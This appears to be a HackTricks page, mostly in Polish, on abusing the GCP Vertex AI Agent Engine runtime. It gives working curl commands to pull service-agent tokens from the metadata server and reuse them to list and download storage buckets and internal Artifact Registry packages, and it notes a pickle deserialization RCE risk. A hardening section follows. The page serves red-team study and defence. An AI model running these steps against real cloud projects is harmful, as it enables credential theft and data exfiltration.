GCP - Vertex AI Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Vertex AI Agent Engine / Reasoning Engine

Ta strona koncentruje się na obciążeniach Vertex AI Agent Engine / Reasoning Engine, które uruchamiają narzędzia lub kod kontrolowany przez atakującego wewnątrz zarządzanego przez Google środowiska uruchomieniowego.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine wprowadza użyteczny, ale niebezpieczny wzorzec: kod dostarczony przez dewelopera uruchamiający się wewnątrz zarządzanego przez Google runtime z tożsamością zarządzaną przez Google.

Interesujące granice zaufania to:

  • Consumer project: twój projekt i twoje dane.
  • Producer project: projekt zarządzany przez Google obsługujący backend usługi.
  • Tenant project: projekt zarządzany przez Google przeznaczony na wdrożoną instancję agenta.

Zgodnie z dokumentacją Vertex AI IAM, zasoby Vertex AI mogą używać Vertex AI service agents jako tożsamości zasobów, a te service agents mogą domyślnie mieć read-only access to all Cloud Storage resources and BigQuery data in the project. Jeżeli kod uruchomiony w Agent Engine może ukraść poświadczenia środowiska uruchomieniowego, ten domyślny dostęp staje się od razu interesujący.

Main abuse path

  1. Wdróż lub zmodyfikuj agenta tak, aby kod narzędzia kontrolowanego przez atakującego wykonywał się wewnątrz zarządzanego runtime.
  2. Zapytaj metadata server, aby odzyskać tożsamość projektu, tożsamość konta serwisowego, zakresy OAuth oraz access tokens.
  3. Wykorzystaj ponownie skradziony token jako Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivotuj do consumer project i odczytaj dane storage dostępne w całym projekcie, do których service agent ma dostęp.
  5. Pivotuj do środowisk producer i tenant osiągalnych tą samą tożsamością.
  6. Wypisz wewnętrzne pakiety Artifact Registry i wydobądź artefakty wdrożeniowe tenantów, takie jak Dockerfile.zip, requirements.txt i code.pkl.

To nie jest tylko problem “uruchom kod w swoim agencie”. Kluczowy problem to kombinacja:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Jeśli masz token z dostępem do Vertex AI, wyenumeruj bezpośrednio Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Sprawdź logi wdrożenia, ponieważ mogą leakować internal producer Artifact Registry paths używane podczas pakowania lub uruchamiania runtime:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Badanie Unit 42 zaobserwowało wewnętrzne ścieżki takie jak:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Kradzież poświadczeń metadanych z runtime agenta

Jeśli możesz uruchomić kod w runtime agenta, najpierw zapytaj usługę metadanych:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Interesujące pola obejmują:

  • identyfikatory projektów
  • przypisany service account / service agent
  • zakresy OAuth dostępne dla runtime

Następnie zażądaj tokena dla przypisanej tożsamości:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Zweryfikuj token i sprawdź przyznane scopes:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google zmienił części workflow wdrożeniowego ADK po opublikowaniu badań, więc dokładne stare fragmenty wdrożeniowe mogą już nie pasować do aktualnego SDK. Ważny prymityw pozostaje jednak ten sam: if attacker-controlled code executes inside the Agent Engine runtime, metadata-derived credentials become reachable unless additional controls block that path.

Consumer-project pivot: service-agent data theft

Po skradzeniu tokena runtime sprawdź faktyczny poziom dostępu service-agent względem projektu konsumenckiego.

Udokumentowaną, domyślnie ryzykowną możliwością jest szeroki dostęp do odczytu danych projektu. Badania Unit 42 konkretnie potwierdziły:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Praktyczne sprawdzenie przy użyciu skradzionego tokena:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

To zamienia skompromitowanego lub złośliwego agenta w prymityw do eksfiltracji danych z pamięci masowej obejmujący cały projekt.

Pivot w projekcie producenta: dostęp do wewnętrznego Artifact Registry

Ta sama skradziona tożsamość może również działać przeciwko Google-managed producer resources.

Rozpocznij od przetestowania wewnętrznych URI repozytoriów odzyskanych z logów. Następnie wyenumeruj pakiety za pomocą Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Jeśli masz tylko raw bearer token, wywołaj REST API bezpośrednio:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

To jest cenne nawet jeśli dostęp do zapisu jest zablokowany, ponieważ ujawnia:

  • wewnętrzne nazwy obrazów
  • przestarzałe obrazy
  • strukturę łańcucha dostaw
  • inwentarz pakietów i wersji do dalszych badań

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Tenant-project pivot: pobieranie artefaktów wdrożeniowych

Wdrożenia Reasoning Engine również pozostawiają interesujące artefakty w tenant project kontrolowanym przez Google dla tej instancji.

Badanie Unit 42 wykazało:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Użyj skradzionego tokena, aby zenumerować dostępne magazyny i wyszukać artefakty wdrożeniowe:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Artefakty z projektu najemcy mogą ujawnić:

  • wewnętrzne nazwy bucketów
  • wewnętrzne odwołania do image’ów
  • założenia dotyczące packagingu
  • listy zależności
  • serializowany agent code

Blog zaobserwował także wewnętrzne odniesienie takie jak:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Nawet gdy odwoływany restricted bucket nie jest czytelny, those leaked paths pomagają zmapować wewnętrzną infrastrukturę.

code.pkl and conditional RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

The immediate issue is poufność:

  • deserializacja w trybie offline może ujawnić strukturę kodu
  • format pakietu leaks szczegóły implementacji

The bigger issue is conditional RCE:

  • jeśli atakujący może zmodyfikować zserializowany artefakt przed service-side deserialization
  • a pipeline później załaduje ten pickle
  • dowolne wykonanie kodu staje się możliwe wewnątrz zarządzanego runtime

This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.

OAuth scopes and Workspace blast radius

The metadata response also exposes the OAuth scopes attached to the runtime.

If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.

If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:

GCP <–> Workspace Pivoting

Utwardzanie / wykrywanie

Prefer a custom service account over the default managed identity

Current Agent Engine documentation supports setting a custom service account for the deployed agent. That is the cleanest way to reduce blast radius:

  • usuń zależność od domyślnego service agenta o szerokich uprawnieniach
  • przyznaj tylko minimalne uprawnienia wymagane przez agenta
  • spraw, aby tożsamość runtime była audytowalna i świadomie ograniczona

Validate the actual service-agent access

Sprawdź rzeczywisty dostęp service agenta Vertex AI w każdym projekcie, w którym używany jest Agent Engine:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Skoncentruj się na tym, czy przypisana tożsamość może odczytać:

  • all GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets lub internal registries reachable from build/deployment workflows

Traktuj kod agenta jako uprzywilejowane wykonanie kodu

Każde narzędzie/funkcja uruchamiana przez agenta powinno być przeglądana, tak jakby było kodem uruchomionym na VM z dostępem do metadata. W praktyce oznacza to:

  • review agent tools for direct HTTP access to metadata endpoints
  • review logs for references to internal pkg.dev repositories and tenant buckets
  • review any packaging path that stores executable state as pickle

Referencje

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks